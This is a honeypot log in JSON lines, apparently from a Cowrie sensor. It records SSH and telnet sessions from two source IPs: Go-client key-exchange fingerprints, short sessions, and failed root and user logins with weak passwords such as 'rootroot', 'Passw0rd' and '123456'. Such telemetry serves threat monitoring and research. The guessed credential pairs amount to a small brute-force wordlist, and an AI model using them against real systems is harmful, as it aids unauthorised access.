{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:49.947077Z","src_ip":"176.65.132.254","session":"d220319e4aed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:50.037483Z","src_ip":"176.65.132.254","session":"d220319e4aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:50.353816Z","src_ip":"176.65.132.254","session":"d220319e4aed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:51.641789Z","src_ip":"176.65.132.254","session":"d220319e4aed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.61523103713989,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:53.211120Z","src_ip":"134.209.8.29","session":"8f10a2bdb2e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.71000623703003,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:53.510826Z","src_ip":"134.209.8.29","session":"e15fea78903b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60874,"dst_ip":"10.17.0.5","dst_port":22,"session":"41157c1b2bd6","protocol":"ssh","message":"New connection: 176.65.132.254:60874 (10.17.0.5:22) [session: 41157c1b2bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:53.987048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:54.164450Z","src_ip":"176.65.132.254","session":"41157c1b2bd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:54.168402Z","src_ip":"176.65.132.254","session":"41157c1b2bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:54.540342Z","src_ip":"176.65.132.254","session":"41157c1b2bd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:55.640181Z","src_ip":"176.65.132.254","session":"41157c1b2bd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55502,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb504b491fd8","protocol":"telnet","message":"New connection: 134.209.8.29:55502 (159.203.135.109:23) [session: fb504b491fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:56.706091Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60878,"dst_ip":"10.17.0.5","dst_port":22,"session":"d20fa5ea2bf4","protocol":"ssh","message":"New connection: 176.65.132.254:60878 (10.17.0.5:22) [session: d20fa5ea2bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:58.473338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:58.478133Z","src_ip":"176.65.132.254","session":"d20fa5ea2bf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:58.559767Z","src_ip":"176.65.132.254","session":"d20fa5ea2bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:58.819989Z","src_ip":"176.65.132.254","session":"d20fa5ea2bf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":48174,"dst_ip":"159.203.135.109","dst_port":23,"session":"62a366d7a138","protocol":"telnet","message":"New connection: 134.209.8.29:48174 (159.203.135.109:23) [session: 62a366d7a138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:59.196783Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:59.905428Z","src_ip":"176.65.132.254","session":"d20fa5ea2bf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44564,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e45a65e529b","protocol":"ssh","message":"New connection: 176.65.132.254:44564 (10.17.0.5:22) [session: 5e45a65e529b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:02.860778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:02.865662Z","src_ip":"176.65.132.254","session":"5e45a65e529b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:02.948354Z","src_ip":"176.65.132.254","session":"5e45a65e529b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:03.218560Z","src_ip":"176.65.132.254","session":"5e45a65e529b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:04.360114Z","src_ip":"176.65.132.254","session":"5e45a65e529b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.51401734352112,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:07.065262Z","src_ip":"134.209.8.29","session":"06d2a6f67792","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44568,"dst_ip":"10.17.0.5","dst_port":22,"session":"129a3bd9249a","protocol":"ssh","message":"New connection: 176.65.132.254:44568 (10.17.0.5:22) [session: 129a3bd9249a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:07.356256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:07.361815Z","src_ip":"176.65.132.254","session":"129a3bd9249a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:07.452065Z","src_ip":"176.65.132.254","session":"129a3bd9249a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:07.739391Z","src_ip":"176.65.132.254","session":"129a3bd9249a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:08.841982Z","src_ip":"176.65.132.254","session":"129a3bd9249a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44576,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4a0f5330f84","protocol":"ssh","message":"New connection: 176.65.132.254:44576 (10.17.0.5:22) [session: c4a0f5330f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:11.440000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:11.588177Z","src_ip":"176.65.132.254","session":"c4a0f5330f84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:11.595189Z","src_ip":"176.65.132.254","session":"c4a0f5330f84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:11.923835Z","src_ip":"176.65.132.254","session":"c4a0f5330f84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.48979830741882,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:12.506606Z","src_ip":"134.209.8.29","session":"4e405a1f750b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:13.010719Z","src_ip":"176.65.132.254","session":"c4a0f5330f84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49084,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5006c418e44","protocol":"ssh","message":"New connection: 176.65.132.254:49084 (10.17.0.5:22) [session: e5006c418e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:15.676507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:15.681830Z","src_ip":"176.65.132.254","session":"e5006c418e44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:15.764387Z","src_ip":"176.65.132.254","session":"e5006c418e44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:16.440977Z","src_ip":"176.65.132.254","session":"e5006c418e44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:17.545652Z","src_ip":"176.65.132.254","session":"e5006c418e44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49104,"dst_ip":"10.17.0.5","dst_port":22,"session":"14d2666d6687","protocol":"ssh","message":"New connection: 176.65.132.254:49104 (10.17.0.5:22) [session: 14d2666d6687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:20.152106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:20.161060Z","src_ip":"176.65.132.254","session":"14d2666d6687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:20.243586Z","src_ip":"176.65.132.254","session":"14d2666d6687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:20.498389Z","src_ip":"176.65.132.254","session":"14d2666d6687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.49414253234863,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:21.346129Z","src_ip":"134.209.8.29","session":"2dbfeed64110","protocol":"telnet"}
